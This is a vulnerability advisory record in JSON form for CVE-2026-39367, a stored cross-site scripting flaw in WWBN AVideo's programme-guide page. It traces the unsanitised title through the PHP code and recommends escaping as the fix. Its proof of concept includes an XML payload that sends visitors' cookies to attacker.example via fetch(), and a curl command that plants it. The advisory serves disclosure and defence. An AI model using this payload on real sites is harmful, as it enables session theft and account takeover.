{"id":"CVE-2026-39367","aliases":["GHSA-rqp3-gf5h-mrqx"],"url":"https://o3.security/vulnerability/CVE-2026-39367","summary":"WWBN AVideo has Stored XSS via Malicious EPG XML Program Titles in AVideo EPG Page","details":"## Summary\n\nAVideo's EPG (Electronic Program Guide) feature parses XML from user-controlled URLs and renders programme titles directly into HTML without any sanitization or escaping. A user with upload permission can set a video's `epg_link` to a malicious XML file whose `<title>` elements contain JavaScript. This payload executes in the browser of any unauthenticated visitor to the public EPG page, enabling session hijacking and account takeover.\n\n## Details\n\nThe vulnerability spans three files in the data flow:\n\n**1. Entry point — `objects/videoAddNew.json.php:117-119`**\n\nThe `epg_link` parameter is stored with only a URL format check:\n\n```php\nif (empty($_POST['epg_link']) || isValidURL($_POST['epg_link'])) {\n    $obj->setEpg_link($_POST['epg_link']);\n}\n```\n\nThis requires `User::canUpload()` (line 10) — not admin, just basic upload permission.\n\n**2. XML parsing — `objects/EpgParser.php:321`**\n\nProgramme titles are extracted as raw strings with no sanitization:\n\n```php\n$this->epgdata[$grouper ?: 0] = [\n    'title' => (string) $element->title,\n    // ...\n];\n```\n\n**3. Sink — `plugin/PlayerSkins/epg.php:343-351`**\n\nProgramme titles are interpolated directly into HTML output without `htmlspecialchars()` or any escaping:\n\n```php\n} else if ($width <= $minimumWidth1Dot) {\n    $text = \"<abbr title=\\\"{$program['title']}\\\">.</abbr>\";          // attribute injection\n} else if ($width <= $minimumWidth) {\n    $text = \"<abbr title=\\\"{$program['title']}\\\"><small ...\";        // attribute injection\n} else if ($width <= $minimumSmallFont) {\n    $text = \"<small class=\\\"small-font\\\">{$program['title']}<div>...\"; // HTML injection\n} else {\n    $text = \"{$program['title']}<div>...\";                            // HTML injection\n}\n```\n\nNotably, the channel `display-name` **is** sanitized via `safeString()` at line 151, but programme titles are not — an apparent oversight.\n\nThe EPG page (`epg.php`) requires no authentication to access, and the rendered output is cached at line 634 (`ObjectYPT::setCache`), so the XSS payload persists in cache even if the original malicious XML is later removed.\n\n## PoC\n\n**Step 1:** Host a malicious XMLTV file at an attacker-controlled URL:\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<tv>\n  <channel id=\"ch1\">\n    <display-name>Test Channel</display-name>\n  </channel>\n  <programme start=\"20260404060000 +0000\" stop=\"20260404070000 +0000\" channel=\"ch1\">\n    <title><![CDATA[<img src=x onerror=fetch('https://attacker.example/steal?c='+document.cookie)>]]></title>\n  </programme>\n</tv>\n```\n\n**Step 2:** Create a video with the malicious EPG link (requires upload permission):\n\n```bash\ncurl -s -b 'PHPSESSID=UPLOAD_USER_SESSION' \\\n  'https://target.example/objects/videoAddNew.json.php' \\\n  -d 'title=LiveStream&videoLink=https://example.com/stream.m3u8&epg_link=https://attacker.example/evil.xml&categories_id=1'\n```\n\n**Step 3:** Any visitor (unauthenticated) browsing the EPG page triggers the XSS:\n\n```\nhttps://target.example/plugin/PlayerSkins/epg.php\n```\n\nThe `<img onerror>` payload executes in the browser of every visitor, exfiltrating cookies and session tokens.\n\n## Impact\n\n- **Session hijacking**: Any visitor's session cookies are exfiltrated, including administrators\n- **Account takeover**: Stolen admin sessions allow full platform control\n- **Persistent**: The XSS payload is cached server-side and fires for every page visitor without further interaction\n- **Wide blast radius**: The EPG page is publicly accessible with no authentication required\n\n## Recommended Fix\n\nEscape all programme data before rendering in HTML. In `plugin/PlayerSkins/epg.php`, apply `htmlspecialchars()` to programme titles before interpolation:\n\n```php\n// Around line 340, before the width checks:\n$safeTitle = htmlspecialchars($program['title'], ENT_QUOTES, 'UTF-8');\n\n// Then use $safeTitle instead of $program['title']:\n} else if ($width <= $minimumWidth1Dot) {\n    $text = \"<abbr title=\\\"{$safeTitle}\\\">.</abbr>\";\n} else if ($width <= $minimumWidth) {\n    $text = \"<abbr title=\\\"{$safeTitle}\\\"><small class=\\\"duration\\\">{$minutes} Min</small></abbr>\";\n} else if ($width <= $minimumSmallFont) {\n    $text = \"<small class=\\\"small-font\\\">{$safeTitle}<div><small class=\\\"duration\\\">{$minutes} Min</small></div></small>\";\n} else {\n    $text = \"{$safeTitle}<div><small class=\\\"duration\\\">{$minutes} Min</small></div>\";\n}\n```\n\nAdditionally, consider sanitizing all EPG XML fields at parse time in `EpgParser.php:316-330` to defend in depth.","published":"2026-04-07T19:22:07.732Z","modified":"2026-08-12T03:51:34.102541945Z","cvss":{"score":5.4,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"wwbn/avideo","fixedVersion":null}],"fix":{"url":"https://github.com/WWBN/AVideo/commit/e0212add4aad0f1e97758a4b4fdc57df58ce68e8","label":"WWBN/AVideo@e0212ad"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/39xxx/CVE-2026-39367.json"},{"type":"ADVISORY","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-rqp3-gf5h-mrqx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39367"},{"type":"FIX","url":"https://github.com/WWBN/AVideo/commit/e0212add4aad0f1e97758a4b4fdc57df58ce68e8"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:34.102541945Z"}}